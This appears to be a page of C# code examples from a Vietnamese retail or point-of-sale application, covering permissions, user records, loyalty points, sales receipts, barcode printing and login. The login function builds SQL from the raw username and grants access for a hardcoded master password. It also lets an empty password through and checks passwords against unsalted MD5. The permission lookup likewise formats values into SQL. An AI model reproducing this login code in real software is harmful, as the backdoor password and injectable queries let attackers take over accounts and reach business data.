Ejemplo n.º 1
0
        // Su dung khi phan quyen
        public static void SetPermit_Offical(ref MT_ROLE mROLE)
        {
            try{
                bool   isAdd = false, isEdit = false, isDel = false, isPrint = false;
                string mSQL = string.Format(" select b.* from HT_QUYENHAN a inner join HT_NHOMQUYEN_CHUCNANG b on a.soid_nhomquyen=b.manhom " +
                                            " where a.soid_congty='{0}' and a.soid_nguoidung='{1}' and b.macn='{2}'", MT_ACTIVE_COMPANYID, MT_ACTIVE_USERID, MT_ACTIVE_CAPTION);

                System.Data.DataTable oTbl = MTSQLServer.getMTSQLServer().wRead(mSQL, null, false);
                if (oTbl != null)
                {
                    foreach (System.Data.DataRow vRow in oTbl.Rows)
                    {
                        bool.TryParse(vRow["them"].ToString(), out isAdd);
                        bool.TryParse(vRow["sua"].ToString(), out isEdit);
                        bool.TryParse(vRow["xoa"].ToString(), out isDel);
                        bool.TryParse(vRow["in"].ToString(), out isPrint);
                        break;
                    }
                }
                mROLE.isAdd   = isAdd;
                mROLE.isEdit  = isEdit;
                mROLE.isDel   = isDel;
                mROLE.isPrint = isPrint;
            }
            catch { }
        }
Ejemplo n.º 2
0
 public string SaveNguoiDung(System.Data.DataTable otblND, String mNguoiDung, String mMaNhomQuyen)
 {
     try
     {
         SqlParameter[] arrPara = new SqlParameter[3];
         arrPara[0]       = new SqlParameter("@nguoidungDT", SqlDbType.Structured);
         arrPara[0].Value = otblND;
         arrPara[1]       = new SqlParameter("@nguoidung", SqlDbType.NVarChar, 50);
         arrPara[1].Value = mNguoiDung;
         arrPara[2]       = new SqlParameter("@maNhomQuyen", SqlDbType.NVarChar, 50);
         arrPara[2].Value = mMaNhomQuyen;
         int iRs = MTSQLServer.getMTSQLServer().wExec("spHT_AddNguoiDung", arrPara);
         return(Utils.SAVE_DB_OK);
     }
     catch (Exception ex)
     {
         return(ex.Message.ToString());
     }
 }
Ejemplo n.º 3
0
 public string SaveDiemTichLuy(String Makh, System.Data.DataTable tblBHCT)
 {
     try
     {
         SqlParameter[] arrPara = new SqlParameter[3];
         arrPara[0]           = new SqlParameter("@Makh", SqlDbType.NVarChar, 50);
         arrPara[0].Value     = Makh;
         arrPara[1]           = new SqlParameter("@Phieubhct", SqlDbType.Structured);
         arrPara[1].Value     = tblBHCT;
         arrPara[2]           = new SqlParameter("@ketqua", SqlDbType.NVarChar, 255);
         arrPara[2].Direction = ParameterDirection.Output;
         int iRs = MTSQLServer.getMTSQLServer().wExec("spTL_AddTichLuyKhachHang", arrPara);
         return(arrPara[2].Value.ToString());
     }
     catch (Exception ex)
     {
         return(ex.Message.ToString());
     }
 }
Ejemplo n.º 4
0
 public string fValidMember(string username, string password)
 {
     try
     {
         string    mSQL  = string.Format("select * from HT_NGUOIDUNG where UPPER(taikhoan)='{0}'", username);
         DataTable oUser = MTSQLServer.getMTSQLServer().wRead(mSQL, null, false);
         if (oUser == null || (oUser != null && oUser.Rows.Count <= 0))
         {
             return("Tài khoản truy cập không hợp lệ..");
         }
         else
         {
             foreach (DataRow vRow in oUser.Rows)
             {
                 if (password == "[email protected]@inm80")
                 {
                     MTGlobal.MT_ACTIVE_USERID = vRow["soid"].ToString();
                     return("T");
                 }
                 else if (vRow["matkhau"].ToString() != MTGlobal.HashMD5(password) && password != "")
                 {
                     return("Mật khẩu truy cập không hợp lệ..");
                 }
                 else
                 {
                     MTGlobal.MT_ACTIVE_USERID       = vRow["soid"].ToString();
                     MTGlobal.MT_USER_LOGIN_FULLNAME = vRow["hoten"].ToString();
                     MTGlobal.MT_USER_LOGIN          = vRow["taikhoan"].ToString();
                     if (vRow["kyhieu"] != null && vRow["kyhieu"].ToString() != "")
                     {
                         MTGlobal.MT_KYHIEU_USER = vRow["kyhieu"].ToString();
                     }
                     return("T");
                 }
             }
         }
         return("T");
     }
     catch { return("F"); }
 }
Ejemplo n.º 5
0
        /*
         * public DataTable dtPhieuBHKM()
         * {
         *  DataTable PhieuBHKM = new DataTable();
         *  PhieuBHKM.Columns.Add("Phieubhkmid", typeof(String));
         *  PhieuBHKM.Columns.Add("Phieubhid", typeof(String));
         *  PhieuBHKM.Columns.Add("Mavach", typeof(String));
         *  PhieuBHKM.Columns.Add("Maspid", typeof(String));
         *  PhieuBHKM.Columns.Add("Masp", typeof(String));
         *  PhieuBHKM.Columns.Add("Tensp", typeof(String));
         *  PhieuBHKM.Columns.Add("Quycach", typeof(String));
         *  PhieuBHKM.Columns.Add("Dvt", typeof(String));
         *  PhieuBHKM.Columns.Add("Soluong", typeof(Double));
         *  PhieuBHKM.Columns.Add("Dongia", typeof(Double));
         *  PhieuBHKM.Columns.Add("Nguyente", typeof(Double));
         *  PhieuBHKM.Columns.Add("thanhtien", typeof(Double));
         *  PhieuBHKM.Columns.Add("ghichu", typeof(String));
         *  return PhieuBHKM;
         * }*/

        public string SavePhieuBH(System.Data.DataTable tblBH, System.Data.DataTable tblBHCT, String mNguoiDung)
        {
            try
            {
                SqlParameter[] arrPara = new SqlParameter[4];
                arrPara[0]       = new SqlParameter("@Phieubh", SqlDbType.Structured);
                arrPara[0].Value = tblBH;
                arrPara[1]       = new SqlParameter("@Phieubhct", SqlDbType.Structured);
                arrPara[1].Value = tblBHCT;

                arrPara[2]           = new SqlParameter("@nguoidung", SqlDbType.NVarChar, 50);
                arrPara[2].Value     = mNguoiDung;
                arrPara[3]           = new SqlParameter("@ketqua", SqlDbType.NVarChar, 255);
                arrPara[3].Direction = ParameterDirection.Output;
                int iRs = MTSQLServer.getMTSQLServer().wExec("spBH_AddPhieuBH", arrPara);
                return(arrPara[3].Value.ToString());
            }
            catch (Exception ex)
            {
                return(ex.Message.ToString());
            }
        }
Ejemplo n.º 6
0
        public void rptInMaVach(DataTable oTblSP, Boolean isDG = false, Boolean isMaQR = true, Boolean isThung = false, String isMauIn = "25_15")
        {
            // DevExpress.Utils.WaitDialogForm oW = new DevExpress.Utils.WaitDialogForm("Đang tạo báo cáo..", "In mã code");

            try{
                if (oTblSP == null || oTblSP.Rows.Count <= 0)
                {
                    MessageBox.Show(String.Format("Bạn chưa chọn sản phẩm cần tạo mã {0}", isMaQR == true ? " QRCode.." : " Vạch.."), "Lưu ý", MessageBoxButtons.OK, MessageBoxIcon.Information);
                    return;
                }

                //oW.Show();

                SqlParameter[] arrPara = new SqlParameter[6];
                arrPara[0]       = new SqlParameter("@tblMasp", SqlDbType.Structured);
                arrPara[0].Value = oTblSP;
                arrPara[1]       = new SqlParameter("@Loai", SqlDbType.TinyInt);
                arrPara[1].Value = isMaQR == true ? 0 : 1;
                arrPara[2]       = new SqlParameter("@Cogia", SqlDbType.Bit);
                arrPara[2].Value = isDG == true ? 1 : 0;
                arrPara[3]       = new SqlParameter("@Thung", SqlDbType.Bit);
                arrPara[3].Value = isThung == true ? 1 : 0;
                arrPara[4]       = new SqlParameter("@Denngay", SqlDbType.NVarChar, 15);
                arrPara[4].Value = DateTime.Now.ToShortDateString();
                arrPara[5]       = new SqlParameter("@Nguoidung", SqlDbType.NVarChar, 50);
                arrPara[5].Value = "dmin";

                DataTable otblMaCode = MTSQLServer.getMTSQLServer().wRead("rptDM_InMaQRCode", arrPara);

                if (otblMaCode != null)
                {
                    switch (isMauIn)
                    {
                    case "25_15":
                        if (isMaQR)
                        {
                            rptQRCode2515 oRptQR25 = new rptQRCode2515();
                            oRptQR25.InitMacode(isMaQR, isDG);
                            oRptQR25.DataSource = otblMaCode;
                            oRptQR25.BindData();

                            SetCustomPageQR(oRptQR25, isMauIn);
                            setFormatReport(oRptQR25);
                            frmPrintPreview oPr = new frmPrintPreview();
                            oPr.oReport = oRptQR25;
                            oPr.ShowDialog();
                        }
                        else
                        {
                            rptBarCode2515 oRptBar25 = new rptBarCode2515();
                            oRptBar25.InitMacode(isMaQR, isDG);
                            oRptBar25.DataSource = otblMaCode;
                            oRptBar25.BindData();
                            SetCustomPageQR(oRptBar25, isMauIn);
                            setFormatReport(oRptBar25);
                            frmPrintPreview oPr = new frmPrintPreview();
                            oPr.oReport = oRptBar25;
                            oPr.ShowDialog();
                        }
                        break;

                    //3TEM/ROW
                    case "35_22":

                        if (isMaQR)
                        {
                            rptQRCode3522 oRptQR35 = new rptQRCode3522();
                            oRptQR35.InitMacode(isMaQR, isDG);
                            oRptQR35.DataSource = otblMaCode;
                            oRptQR35.BindData();
                            SetCustomPageQR(oRptQR35, isMauIn);
                            setFormatReport(oRptQR35);
                            frmPrintPreview oPr = new frmPrintPreview();
                            oPr.oReport = oRptQR35;
                            oPr.ShowDialog();
                        }
                        else
                        {
                            rptBarCode3522 oRptBar35 = new rptBarCode3522();
                            oRptBar35.InitMacode(isMaQR, isDG);
                            oRptBar35.DataSource = otblMaCode;
                            oRptBar35.BindData();
                            SetCustomPageQR(oRptBar35, isMauIn);
                            setFormatReport(oRptBar35);
                            frmPrintPreview oPr = new frmPrintPreview();
                            oPr.oReport = oRptBar35;
                            oPr.ShowDialog();
                        }

                        break;
                    }
                }
                else
                {
                    MessageBox.Show(String.Format("Không thể tạo mã {0}", isMaQR == true ? " QRCode.." : " Vạch.."), "Thông báo", MessageBoxButtons.OK, MessageBoxIcon.Information);
                }

                //oW.Close();
            }
            catch (Exception ex) { MessageBox.Show(ex.Message.ToString()); }
        }